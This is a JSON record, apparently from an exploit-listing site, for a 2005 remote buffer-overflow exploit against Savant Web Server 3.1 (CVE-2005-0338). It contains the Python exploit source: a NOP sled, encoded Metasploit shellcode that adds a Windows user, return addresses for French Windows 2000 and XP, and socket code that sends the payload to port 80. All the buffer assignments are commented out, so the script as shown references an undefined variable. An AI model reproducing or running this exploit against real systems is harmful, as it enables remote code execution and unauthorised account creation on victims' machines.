{"exploit":{"id":"EDB-819","name":"Savant Web Server 3.1 (French Windows)- Remote Buffer Overflow","description":"Savant Web Server 3.1 (French Windows)- Remote Buffer Overflow","cves":["CVE-2005-0338"],"author":"Jerome Athias","published":"2005-02-15","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/819","path":"exploits/windows/remote/819.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-819.py","vulnerabilities":[{"id":"CVE-2005-0338","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Savant Web Server 3.1 allows remote attackers to execute arbitrary code via a long HTTP request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0338","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0338"},"updatedAt":"2024-08-07T21:13:53.368Z","retrievedAt":"2026-11-26T11:57:32.584Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-819.png?v=2","url":"https://exploitbin.com/exploits/EDB-819","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-819/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-819/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#########################################################\n#                                                       #\n# Savant web server Buffer Overflow Exploit             #\n# Discovered by : Mati Aharoni                          #\n# Coded by : Tal Zeltzer and Mati Aharoni               #\n# www.see-security.com                                  #\n# FOR RESEACRH PURPOSES ONLY!                           #\n# FRench Win OS support by Jerome Athias                #\n#########################################################\nimport struct\nimport socket\nsc = \"\\x90\" * 21\t#We need this number of nops\n# win32_adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub http://metasploit.com\nsc += \"\\x31\\xc9\\x83\\xe9\\xcc\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\xd8\"\nsc += \"\\x23\\x73\\xe4\\x83\\xeb\\xfc\\xe2\\xf4\\x24\\xcb\\x35\\xe4\\xd8\\x23\\xf8\\xa1\"\nsc += \"\\xe4\\xa8\\x0f\\xe1\\xa0\\x22\\x9c\\x6f\\x97\\x3b\\xf8\\xbb\\xf8\\x22\\x98\\x07\"\nsc += \"\\xf6\\x6a\\xf8\\xd0\\x53\\x22\\x9d\\xd5\\x18\\xba\\xdf\\x60\\x18\\x57\\x74\\x25\"\nsc += \"\\x12\\x2e\\x72\\x26\\x33\\xd7\\x48\\xb0\\xfc\\x27\\x06\\x07\\x53\\x7c\\x57\\xe5\"\nsc += \"\\x33\\x45\\xf8\\xe8\\x93\\xa8\\x2c\\xf8\\xd9\\xc8\\xf8\\xf8\\x53\\x22\\x98\\x6d\"\nsc += \"\\x84\\x07\\x77\\x27\\xe9\\xe3\\x17\\x6f\\x98\\x13\\xf6\\x24\\xa0\\x2c\\xf8\\xa4\"\nsc += \"\\xd4\\xa8\\x03\\xf8\\x75\\xa8\\x1b\\xec\\x31\\x28\\x73\\xe4\\xd8\\xa8\\x33\\xd0\"\nsc += \"\\xdd\\x5f\\x73\\xe4\\xd8\\xa8\\x1b\\xd8\\x87\\x12\\x85\\x84\\x8e\\xc8\\x7e\\x8c\"\nsc += \"\\x37\\xed\\x93\\x84\\xb0\\xbb\\x8d\\x6e\\xd6\\x74\\x8c\\x03\\x30\\xcd\\x8c\\x1b\"\nsc += \"\\x27\\x40\\x1e\\x80\\xf6\\x46\\x0b\\x81\\xf8\\x0c\\x10\\xc4\\xb6\\x46\\x07\\xc4\"\nsc += \"\\xad\\x50\\x16\\x96\\xf8\\x7b\\x53\\x94\\xaf\\x47\\x53\\xcb\\x99\\x67\\x37\\xc4\"\nsc += \"\\xfe\\x05\\x53\\x8a\\xbd\\x57\\x53\\x88\\xb7\\x40\\x12\\x88\\xbf\\x51\\x1c\\x91\"\nsc += \"\\xa8\\x03\\x32\\x80\\xb5\\x4a\\x1d\\x8d\\xab\\x57\\x01\\x85\\xac\\x4c\\x01\\x97\"\nsc += \"\\xf8\\x7b\\x53\\xcb\\x99\\x67\\x37\\xe4\";\nsc += \"AA\"\n# Win2k SP0,1,2,3,4 (US...)\n#Change Return address as needed\n#buf = \"\\xEB\\x19\" + \" /\" + sc + struct.pack(\"<L\",0x750236b2) + \"\\r\\n\\r\\n\"\n\n#0x74FA2AC4\t\tpop esi - pop - ret\tws2help.dll\tWin 2K SP4 FR (Found with findjmp2 by Class101 ;)\n#buf = \"\\x90\" * 24 + \" /\" + sc + struct.pack(\"<L\",0x74fa2ac5) + \"\\r\\n\\r\\n\"\t#EB becomes CB...? so i changed it by nops\n\n#Win XP SP2 FR?\n#0x719E260D\t\tpop esi - pop - ret\tws2help.dll\tWin XP SP2 FR (Found with findjmp2 by Class101 ;)\n#buf = \"\\x90\" * 24 + \" /\" + sc + struct.pack(\"<L\",0x719e260e) + \"\\r\\n\\r\\n\"\t#EB becomes CB...? so i changed it by nops\n\n\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('127.0.0.1',80))\ns.send(buf)\ns.close()\n\n# milw0rm.com [2005-02-15]","sha256":"f1f5d01874e3aa36f574f7ec984e4edbc579ddf31f1df93902e1aeaef4759c54","bytes":2485,"fetchedAt":"2026-11-27T01:10:00.321Z","encoding":"utf-8 (display only; download retains original bytes)"}